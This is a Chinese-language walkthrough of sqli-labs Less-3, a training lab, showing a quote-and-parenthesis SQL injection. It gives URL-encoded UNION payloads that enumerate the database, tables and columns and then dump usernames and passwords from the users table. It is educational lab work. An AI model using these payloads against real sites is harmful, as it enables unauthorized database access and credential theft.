sql-lab 第三关
开始第三关,打开靶机,
Please input the ID as parameter with numeric value说的是请以数字值作为参数输入用户标示符的意思。
还是像前面几个测试一下,发现都不符合
当我输入?id=1'的时候出现了
然后查看了一下Index.php的源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
这样便可以确定单引号注入的变形,一个带括号的字符型注入。
构造pyload:
http://10.0.68.9/sqli-labs-master/Less-3/?id=1%27)--+
这样以来就成功了。
后面的基本就和前几关一样了,首先看看字段的列数,使用order by 构造pyload,4的话是出错的,所以最终pyload为
http://10.0.68.9/sqli-labs-master/Less-3/?id=1%27)%20order%20by%203--+
接下来还需要查看显示位,构造pyload:
http://10.0.68.9/sqli-labs-master/Less-3/?id=00%27)%20union%20select%201,2,3--+
这样就查出来有两个显示位2,3;
然后开始爆数据库名:http://10.0.68.9/sqli-labs-master/Less-3/?id=00%27)%20union%20select%201,2,database()--+
还是这个名字。
然后爆出表名来:
http://10.0.68.9/sqli-labs-master/Less-3/?id=00%27)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+
表名之后便是字段名了:
http://10.0.68.9/sqli-labs-master/Less-3/?id=00%27)%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+
字段名出来了最后便是数据了:
http://10.0.68.9/sqli-labs-master/Less-3/?id=00%27)%20union%20select%201,2,group_concat(0x3a,username,0x3a,password)%20from%20users--+
这就出来了。